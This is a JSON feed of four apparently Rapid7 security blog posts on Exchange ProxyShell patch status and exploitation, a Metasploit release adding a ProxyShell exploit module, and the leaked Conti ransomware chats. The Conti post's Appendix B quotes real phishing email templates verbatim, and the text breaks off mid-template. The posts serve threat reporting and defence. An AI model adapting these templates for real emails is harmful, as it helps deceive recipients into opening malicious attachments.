{"rapid7blog": [{"lastseen": "2021-10-06T15:02:24", "description": "\n\nIf you've been keeping tabs on the state of vulnerabilities, you've probably noticed that Microsoft Exchange has been in the news more than usual lately. Back in March 2021, Microsoft [acknowledged a series of threats](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) exploiting zero-day CVEs in on-premises instances of Exchange Server. Since then, several related exploit chains targeting Exchange have [continued to be exploited in the wild](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>).\n\nMicrosoft [quickly](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) [released](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) [patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>) to help security teams keep attackers out of their Exchange environments. So, what does the state of patching look like today among organizations running impacted instances of Exchange?\n\nThe answer is more mixed \u2014 and more troubling \u2014 than you'd expect.\n\n## What is Exchange, and why should you care?\n\nExchange is a popular email and messaging service that runs on Windows Server operating systems, providing email and calendaring services to tens of thousands of organizations. It also integrates with unified messaging, video chat, and phone services. That makes Exchange an all-in-one messaging service that can handle virtually all communication streams for an enterprise customer.\n\nAn organization's Exchange infrastructure can contain copious amounts of sensitive business and customer information in the form of emails and a type of shared mailbox called Public Folders. This is one of the reasons why Exchange Server vulnerabilities pose such a significant threat. Once compromised, Exchange's search mechanisms can make this data easy to find for attackers, and a robust rules engine means attackers can create hard-to-find automation that forwards data out of the organization.\n\nAn attacker who manages to get into an organization's Exchange Server could gain visibility into their Active Directory or even compromise it. They could also steal credentials and impersonate an authentic user, making phishing and other attempts at fraud more likely to land with targeted victims.\n\n## Sizing up the threats\n\nThe credit for discovering this recent family of Exchange Server vulnerabilities goes primarily to security researcher Orange Tsai, who overviewed them in an August 2021 [Black Hat talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>). He cited 8 vulnerabilities, which resulted in 3 exploit chains:\n\n * ****ProxyLogon:**** This vulnerability could allow attackers to use pre-authentication server-side request forgery (SSRF) plus a post-authentication arbitrary file write, resulting in remote code execution (RCE) on the server.\n * ****ProxyOracle:**** With a cookie from an authenticated user (obtained through a reflected XSS link), a Padding Oracle attack could provide an intruder with plain-text credentials for the user.\n * ****ProxyShell: ****Using a pre-authentication access control list (ACL) bypass, a PrivEsc (not going up to become an administrator but down to a user mailbox), and a post-authentication arbitrary file write, this exploit chain could allow attackers to execute an RCE attack.\n\nGiven the sensitivity of Exchange Server data and the availability of [patches and resources from Microsoft](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) to help defend against these threats, you'd think adoption of these patches would be almost universal. But unfortunately, the picture of patching for this family of vulnerabilities is still woefully incomplete.\n\n## A patchwork of patch statuses\n\nIn Rapid7's OCTO team, we keep tabs on the exposure for major vulnerabilities like these, to keep our customers and the security community apprised of where these threats stand and if they might be at risk. To get a good look at the patch status among Exchange Servers for this family of attack chains, we had to develop new techniques for fingerprinting Exchange versions so we could determine which specific hotfixes had been applied.\n\nWith a few tweaks, we were able to adjust our measurement approach to get a clear enough view that we can draw some strong conclusions about the patch statuses of Exchange Servers on the public-facing internet. Here's what we found:\n\n * Out of the 306,552 Exchange OWA servers we observed, 222,145 \u2014 or 72.4% \u2014were running an impacted version of Exchange (this includes 2013, 2016, and 2019).\n * Of the impacted servers, 29.08% were still unpatched for the ProxyShell vulnerability, and 2.62% were partially patched. That makes 31.7% of servers that may still be vulnerable.\n\n\n\nTo put it another, starker way: 6 months after patches have been available for the ProxyLogon family of vulnerabilities, 1 in 3 impacted Exchange Servers are still susceptible to attacks using the ProxyShell method.\n\nWhen we sort this data by the Exchange Server versions that organizations are using, we see the uncertainty in patch status tends to cluster around specific versions, particularly 2013 Cumulative Update 23. \n\n\n\nWe also pulled the server header for these instances with the goal of using the version of IIS as a proxy indicator of what OS the servers may be running \u2014 and we found an alarmingly large proportion of instances that were running end-of-life servers and/or operating systems, for which Microsoft no longer issues patch updates.\n\n\n\nThat group includes the two bars on the left of this graph, which represent 2007 and 2010 Exchange Server versions: 75,300 instances of 2010 and 8,648 instances of 2007 are still running out there on the internet, roughly 27% of all instances we observed. Organizations still operating these products can count themselves lucky that ProxyShell and ProxyLogon don't impact these older versions of Exchange (as far as we know). But that doesn't mean those companies are out of the woods \u2014 if you still haven't replaced Exchange Server 2010, you're probably also doing other risky things in your environment.\n\nLooking ahead, the next group of products that will go end-of-life are the Windows Server 2012 and 2012 R2 operating systems, represented in green and yellow, respectively, within the graph. That means 92,641 instances of Exchange \u2014 nearly a third of all Exchange Servers on the internet \u2014 will be running unsupported operating systems for which Microsoft isn't obligated to provide security fixes after they go end-of-life in 2023.\n\n## What you can do now\n\nIt's a matter of when, not if, we encounter the next family of vulnerabilities that lets attackers have a field day with huge sets of sensitive data like those contained in Exchange Servers. And for companies that haven't yet patched, ProxyShell and its related attack chains are still a real threat. Here's what you can do now to proactively mitigate these vulnerabilities.\n\n * First things first: If your organization is running one of the 1 in 3 affected instances that are vulnerable due to being unpatched, [install the appropriate patch](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) right away.\n * Stay current with patch updates as a routine priority. It is possible to build Exchange environments with near-100% uptimes, so there isn't much argument to be made for foregoing critical patches in order to prevent production interruptions.\n * If you're running a version of Exchange Server or Windows OS that will soon go end-of-life, start planning for how you'll update to products that Microsoft will continue to support with patches. This way, you'll be able to quickly and efficiently mitigate vulnerabilities that arise, before attackers take advantage of them.\n\nIf you're already a Rapid7 customer, there's good news: [InsightVM](<https://www.rapid7.com/products/insightvm/>) already has authenticated scans to detect these vulnerabilities, so users of the product should already have a good sense of where their Exchange environments stand. On the offensive side, your red teams and penetration testers can highlight the risk of running vulnerable Exchange instances with modules exercising [ProxyLogon](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxylogon_rce/>) and [ProxyShell](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/>). And as our research team continues to develop techniques for getting this kind of detailed information about exposures, we ensure our products know about those methods so they can more effectively help customers understand their vulnerabilities.\n\nBut for all of us, these vulnerabilities are a reminder that security requires a proactive mindset \u2014 and failing to cover the basics like upgrading to supported products and installing security updates leaves organizations at risk when a particularly thorny set of attack chains rears its head.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T14:07:12", "type": "rapid7blog", "title": "For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-06T14:07:12", "id": "RAPID7BLOG:D47FB88807F2041B8820156ECFB85720", "href": "https://blog.rapid7.com/2021/10/06/for-microsoft-exchange-server-vulnerabilities-patching-remains-patchy/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T18:57:37", "description": "\n\n_This attack is ongoing. See the `Updates` section at the end of this post for new information as it comes to light. Rapid7 also has a [technical analysis of the ProxyShell exploit chain](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) in AttackerKB._\n\nOn August 5, 2021, in [a Black Hat USA talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>), DEVCORE researcher Orange Tsai shared information on [several exploit chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) targeting on-premises installations of Microsoft Exchange Server. Among the exploit chains presented were ProxyLogon, which was [exploited en masse in February and March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) of 2021, and ProxyShell, an attack chain originally demonstrated at the Pwn2Own hacking competition this past April. As of August 12, 2021, multiple researchers have detected widespread opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using the ProxyShell chain.\n\nAccording to Orange Tsai's demonstration, the ProxyShell exploit chain allows a remote unauthenticated attacker to execute arbitrary commands on a vulnerable on-premises instance of Microsoft Exchange Server via port 443. The exploit is comprised of three discrete CVEs:\n\n * [CVE-2021-34473](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34473/>), a remote code execution vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>)\n * [CVE-2021-34523](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34523/>), an elevation of privilege vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>)\n * [CVE-2021-31207](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-31207/>), a security feature bypass [patched May 11, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>)\n\n_While CVE-2021-34473 and CVE-2021-34523 were patched in April, Microsoft\u2019s advisories note that they were inadvertently omitted from publication until July._\n\nWhen chained, these vulnerabilities allow the attacker to bypass ACL controls, send a request to a PowerShell back-end, and elevate privileges, effectively authenticating the attacker and allowing for remote code execution. Both public and private proof-of-concept exploits have been released as of August 18, 2021\u2014not surprising, since ProxyShell was first demonstrated more than four months ago at Pwn2Own. A number of [technical analyses](<https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/>) of the chain have also [been published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>). See Rapid7's exploit chain analysis [in AttackerKB](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>).\n\nNotably, there has been confusion about which CVE is which across various advisories and research descriptions \u2014 Microsoft, for instance, describes CVE-2021-34473 as a remote code execution vulnerability, but [Orange Tsai\u2019s Black Hat slides](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) list CVE-2021-34473 as the initial ACL bypass. Community researchers have also [expressed confusion](<https://twitter.com/GossiTheDog/status/1424791670076411905>) over CVE numbering across the ProxyShell chain, but ultimately, the takeaway is the same: Organizations that have not patched these vulnerabilities should do so on an emergency basis and invoke incident response protocols to look for indicators of compromise.\n\n## Affected products\n\nThe following versions of Exchange Server are vulnerable to all three ProxyShell CVEs:\n\n * Microsoft Exchange Server 2019 Cumulative Update 9\n * Microsoft Exchange Server 2019 Cumulative Update 8\n * Microsoft Exchange Server 2016 Cumulative Update 20\n * Microsoft Exchange Server 2016 Cumulative Update 19\n * Microsoft Exchange Server 2013 Cumulative Update 23\n\nOrganizations that rely on on-premises installations of Exchange Server and are not able to move to O365 should ensure that all Exchange instances are patched on a zero-day basis. In order to do this, it is vital that defenders keep up-to-date with quarterly Cumulative Updates, since Microsoft only releases security fixes for [the most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>).\n\nWhile ProxyShell and March\u2019s ProxyLogon exploit chain are the two attacks that have already resulted in widespread exploitation, they are not the only exploit chains targeting on-premises Exchange servers. Exchange continues to be valuable and accessible attack surface area for both sophisticated and run-of-the-mill threat actors, and we will certainly see additional widespread exploitation in the future.\n\nRead more from our emergent threat response team on [high-priority attack surface area](<https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/>), including Windows Print Spooler and Pulse Connect Secure VPNs.\n\n## Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to all three ProxyShell CVEs with authenticated vulnerability checks.\n\nThe following attacker behavior detection is available InsightIDR customers:\n\n * Suspicious Process - Process Spawned By Outlook Web Access\n\nThis detection will identify processes spawned by Microsoft IIS processes that have been configured to serve as Outlook Web Access web servers for Microsoft Exchange. Rogue processes being spawned may be an indication of a successful attack against these systems and has been observed targeted by various malicious actors.\n\nIf this detection fires in your environment, you should determine whether it is part of authorized administrator activity. Examine the parent process that spawned the command, and anything else that process may have spawned. If this activity is not benign or expected, consider rebuilding the host from a known, good source and having any possibly affected users change their passwords.\n\n## Updates\n\n**August 25, 2021:** Rapid7 estimates that there are over 84,000 Exchange servers that appear vulnerable to the ProxyShell attack chain. \n\n\n**August 23, 2021:** Multiple sources have now [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that at least one ransomware gang (LockFile) is chaining ProxyShell with PetitPotam (CVE-2021-36942) to compromise Windows domain controllers. See [Rapid7's blog on PetitPotam](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>) for patching and additional required mitigation advice.\n\n**August 21, 2021:** Rapid7's Managed Detection and Response (MDR) and Incident Response (IR) teams have noted a significant uptick in Exchange exploitation by multiple threat actors. Community researchers have also noted that attackers are exploiting the ProxyShell vulnerabilities to drop webshells and [spread ransomware](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) on vulnerable targets.\n\nWe are monitoring for additional attacker behavior and will update this blog as further information comes to light.\n\n**August 16, 2021:** We have begun to see public proof-of-concept (PoC) code implementing the ProxyShell exploit chain. Exploitation is ongoing.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T21:08:43", "type": "rapid7blog", "title": "ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-12T21:08:43", "id": "RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "href": "https://blog.rapid7.com/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-20T20:19:12", "description": "## Anyone enjoy making chains?\n\n\n\nThe community is hard at work building chains to pull sessions out of vulnerable Exchange servers. This week Rapid7's own [wvu](<https://github.com/wvu-r7>) & [Spencer McIntyre](<https://github.com/zeroSteiner>) added a module that implements the ProxyShell exploit chain originally demonstrated by [Orange Tsai](<https://twitter.com/orange_8361>). The module also benefited from research and analysis by [Jang](<https://twitter.com/testanull>), [PeterJson](<https://twitter.com/peterjson>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>) to make it as simple as finding an email for an administrator of vulnerable version of exchange as the entrypoint to chain [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>), [CVE-2021-34523](<https://attackerkb.com/topics/RY7LpTmyCj/cve-2021-34523?referrer=blog>), & [CVE-2021-34473](<https://attackerkb.com/topics/pUK1MXLZkW/cve-2021-34473?referrer=blog>) into sessions for everyone to enjoy.\n\n## Great to see some GSoC value in the wild.\n\nWith Google Summer of Code 2021 moving into its final phases, [pingport80](<https://github.com/pingport80>) had 4 PRs land in this week's release. These improvements and fixes to interactions with sessions make post exploitation tasks more accessible, bringing the community more capabilities and stability along the way.\n\n## New module content (2)\n\n * [Lucee Administrator imgProcess.cfm Arbitrary File Write](<https://github.com/rapid7/metasploit-framework/pull/15525>) by [wvu](<https://github.com/wvu-r7>),, [iamnoooob](<https://github.com/iamnoooob>), and [rootxharsh](<https://github.com/rootxharsh>), which exploits [CVE-2021-21307](<https://attackerkb.com/topics/16OOl6KSdo/cve-2021-21307?referrer=blog>) \\- An unauthenticated user is permitted to make requests through the `imgProcess.cfm` endpoint, and using the `file` parameter which contains a directory traversal vulnerability, they can write a file to an arbitrary location. Combining the two capabilities, this module writes a CFML script to the vulnerable server and achieves unauthenticated code execution as the user running the Lucee server.\n * [Microsoft Exchange ProxyShell RCE](<https://github.com/rapid7/metasploit-framework/pull/15561>) by [wvu](<https://github.com/wvu-r7>), [Jang](<https://twitter.com/testanull>), [Orange Tsai](<https://twitter.com/orange_8361>), [PeterJson](<https://twitter.com/peterjson>), [Spencer McIntyre](<https://github.com/zeroSteiner>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>), which exploits [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>) \\- Added an exploit for the ProxyShell attack chain against Microsoft Exchange Server.\n\n## Enhancements and features\n\n * [#15540](<https://github.com/rapid7/metasploit-framework/pull/15540>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- This adds an option to `cmd_execute` to have the command run in a subshell by Meterpreter.\n * [#15556](<https://github.com/rapid7/metasploit-framework/pull/15556>) from [pingport80](<https://github.com/pingport80>) \\- This adds shell session compatibility to the `post/windows/gather/enum_unattend` module.\n * [#15564](<https://github.com/rapid7/metasploit-framework/pull/15564>) from [pingport80](<https://github.com/pingport80>) \\- This adds support to the `get_env` and `command_exists?` post API methods for Powershell session types.\n\n## Bugs fixed\n\n * [#15303](<https://github.com/rapid7/metasploit-framework/pull/15303>) from [pingport80](<https://github.com/pingport80>) \\- This PR ensures that the shell `dir` command returns a list.\n * [#15332](<https://github.com/rapid7/metasploit-framework/pull/15332>) from [pingport80](<https://github.com/pingport80>) \\- This improves localization support and compatibly in the session post API related to the `rename_file` method.\n * [#15539](<https://github.com/rapid7/metasploit-framework/pull/15539>) from [tomadimitrie](<https://github.com/tomadimitrie>) \\- This improves the OS version in the `check` method of `exploit/windows/local/cve_2018_8453_win32k_priv_esc`.\n * [#15546](<https://github.com/rapid7/metasploit-framework/pull/15546>) from [timwr](<https://github.com/timwr>) \\- This ensures that the UUID URLs of stageless reverse_http(s) payloads are stored in the database so that they can be properly tracked with payload UUID tracking. This also fixes an error caused by accessing contents of a url list without checking if it's valid first.\n * [#15570](<https://github.com/rapid7/metasploit-framework/pull/15570>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a bug in the `auxiliary/scanner/smb/smb_enum_gpp` module where the path that was being generated by the module caused an SMB exception to be raised.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-08-12T17%3A57%3A38%2B01%3A00..2021-08-20T05%3A13%3A43-05%3A00%22>)\n * [Full diff 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/compare/6.1.0...6.1.1>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T19:12:00", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T19:12:00", "id": "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "href": "https://blog.rapid7.com/2021/08/20/metasploit-wrap-up-126/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T17:28:27", "description": "\n\n**_UPDATE: _**_As of March 2, 2022, Conti began taking down exposed infrastructure as a result of the chat disclosure. At that time, we assessed that due to their sophisticated capability, deep funding, and quick recovery from exposed infrastructure in November 2021, they remained an active and significant threat. As of March 9, 2022, our threat intelligence team has observed a resumption of normal operations from Conti._\n\nOn February 27, Twitter user [@ContiLeaks](<https://twitter.com/contileaks>) released a trove of chat logs from the ransomware group, Conti \u2013 a sophisticated ransomware group whose manual was publicly [leaked last year](<https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html>). Ahead of the chat log disclosures, Conti pledged their support for the Russian Government following the Russian invasion of Ukraine. However, a number of members sided with Ukraine, causing strife within the organization. Two days later, Conti posted a second message revising their statement to condemn the war and to strike back only if Russian critical infrastructure is targeted.\n\n_Conti announcement of support for Russian government_\n\n_Conti walk-back of their support for Russia_\n\n_@ContiLeaks announcement of the release_\n\nAt the time of the leak, a file titled `1.tgz` was released on the \u201cAnonFiles\u201d website, containing 14 megabytes of chat logs across 393 JSON files. However, some of the messages were encrypted and could not be read, so the information provided is necessarily incomplete. The remaining files contained internal Conti communications, screenshots of tools, and discussions of their exploits and design processes. \n\nOn February 28 and March 1, a bevy of additional files were posted, along with a number of pro-Ukraine tweets. Among both sets of leaked messages, there were a number of usernames and passwords for a variety of accounts. Additionally, user @ContiLeaks shared access details for a number of alleged Conti command and control servers, plus storage servers for stolen files. However, we have not accessed any of the data necessitating access to remote servers or the use of usernames and passwords, and we strongly recommend against doing so. \n\n@ContiLeaks also shared a file that they purport to be the source code for the Conti ransomware but declined to share the password except with \u201ctrusted parties.\u201d @ContiLeaks did, however, name one alleged Conti developer, providing their email address and Github. The scale of the leaked information suggests that the leaker is likely either a very senior member of the group or a coalition of disgruntled Conti affiliates.\n\n## Conti is a business \u2013 and a well-funded one\n\nMuch of the discussion within the chat logs concerns fairly mundane things \u2013 interviewing potential operators of the group, payment for services, out-of-office messages, gossip, and discussions of products. Based on the leaked chats, the Conti interview process actually looks a lot like a standard technical interview, with coding exercises to be performed hosted on public code repositories, salary negotiations, and the status of ongoing products. \n\nIn addition to other financial information related to specific actors, the leaked chats have revealed Conti\u2019s primary Bitcoin address, which contains over **two billion USD** as of February 28, 2022. Moreover, a conversation on April 9, 2021 between \u201cmango\u201d and \u201cjohnyboy77\u201d indicates Russian FSB involvement in some portion of their funding and that the FSB were interested in files from the media outlet Bellingcat on \u201cNavalny\u201d \u2013 an apparent reference to Alexei Navalny, the currently imprisoned opposition leader in Russia.\n\n## Conti development\n\nConti seems to operate much like a software company \u2013 the chat logs disclose concerns with the development of specific features for targets and a particular difficulty in encrypting very large files. The Conti team also attempted to get demos of popular endpoint detection software with the intent to develop their malware to avoid detection.\n\nTwo of the actors, \u201clemur\u201d and \u201cterry\u201d shared phishing templates (included verbatim in Appendix B at the end of this post) to be used against potential targets. Conti gains initial access in many ways, with phishing a popular line of attack due in part to its relatively high efficacy and low cost. Conti often uses phishing emails to establish a presence on targeted networks.\n\nA screenshot of the Conti control panel was also leaked, showing a number of compromised hosts and a breakdown of the operating systems, antiviruses, user rights, and detailed information about the infected assets.\n\n_Conti control panel_\n\nFurther discussions detailed the use of infrastructure against targets, disclosing a number of both known and unknown Conti command and control domains. At the time of this post, only a small number of the previously unknown command and control domains appear to be active. Conversations between two operators, \u201cStern\u201d and \u201cBentley\u201d discuss the use of third parties for malicious documents, favoring certain providers over others. They also discuss logistics for how to deliver ransomware without being detected by dynamic analysis. In a conversation between the two back in June of 2021, Stern discloses that Conti wants to start their own cryptocurrency but does not know who to work with. There is no evidence that anything came of this desire, and Conti continues to use Bitcoin for their ransoms. \n\n## Other groups assert they are strictly business\n\nIn stark contrast to Conti, other groups have made it clear to the public that despite their \u201cbusiness model,\u201d they take no public stance on this crisis. LockBit is remaining aloof from the conflict and made it clear that they intend to operate as usual. Although it is believed that LockBit is a Russian organization, they assert that \u201cwe are all simple and peaceful people, we are all Earthlings,\u201d and \u201cfor us it is just business and we are all apolitical.\u201d Another ransomware group, ALPHV, claims to be \u201cextremely saddened\u201d by Conti\u2019s pledge of support and condemns Conti. Their message concludes, \u201cThe Internet, and even more so its dark side, is not the place for politics.\u201d\n\n## Rumors of Conti\u2019s demise have been greatly exaggerated\n\nConti\u2019s payment and \u201csupport\u201d portal is still live, even following the infighting and leaks. Conti has repeatedly proven to be one of the most capable ransomware actors and these chats indicate that the group is well-organized and still very well-funded despite the schism. Any suggestion that these leaks spell the end for Conti is overstated, and we expect that Conti will continue to be a powerful player in the ransomware space.\n\n## What you can do\n\nWe are keeping an eye on dark web activity related to Conti and other ransomware groups and want to reiterate the following steps for protecting yourself from ransomware: \n\n\n * User education, especially related to well-crafted phishing campaigns\n * Asset and vulnerability management, including reducing your external attack surface\n * Multi-factor authentication \n\n\nAdditionally, it is worth ensuring that you are well-guarded against the exploits and malware commonly used by Conti (vulnerabilities provided in Appendix A at the end of this post). Furthermore, security teams should also take some time to review [CISA\u2019s recent report on the group](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>). For further discussion on how to protect yourself from ransomware, see our [ransomware playbook](<https://www.rapid7.com/solutions/ransomware/>). \n\n\n## Appendix A \u2013 Conti known exploited vulnerabilities\n\nCVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 (MS17-010; EternalBlue/EternalSynergy/EternalChampion)\n\nCVE-2020-1472 (ZeroLogon)\n\nCVE-2021-34527 (PrintNightmare)\n\nCVE-2021-44228 (Log4Shell)\n\nCVE-2021-34473, CVE-2021-34523, CVE-2021-31207 (ProxyShell/ProxyLogon)\n\n## Appendix B \u2013 Phishing templates\n\n{Greetings|Hello|Good afternoon|Hi|Good day|Greeting|Good morning|Good evening}! \n{Here|Right here|In this letter|With this letter} we {send|direct} you {all the|all the necessary|the most important} {documentation|papers|documents|records} {regarding|concerning|relating to} your {payment|deposit payment|last payment} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u041f\u041b\u0410\u0422\u0415\u0416\u0410, right {as we|as we have} {discussed|revealed} {not so long ago|not too long ago|recently|just recently|not long ago}. Please {review the|check the|take a look at} \u0430ll {necessary|required|important} {information|data} in the {file attached|attached file}. \n\u0422: {Payment|Deposit payment} {invoice|receipt} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u0418\u041d\u0412\u041e\u0419\u0421\u0410 {prepared|formed} \nD: {payment|deposit|dep|paym}_{info|information|data}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \nYour {order|purchase order|online order} was {successfully|correctly|timely} {paid|compensated|covered} by you {yesterday|today|recently}. Your {documentation|docs|papers} and {bank check|receipt|paycheck} {can be found|are listed} in the {attached file|file attached}. \nT: {Invoice|Given invoice|Bill} {we|we have|we\u2019ve} {sent|mailed|delivered} to you {is paid|is covered|is processed}. \nD: {Purchase order|Order} {verification|approval}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good 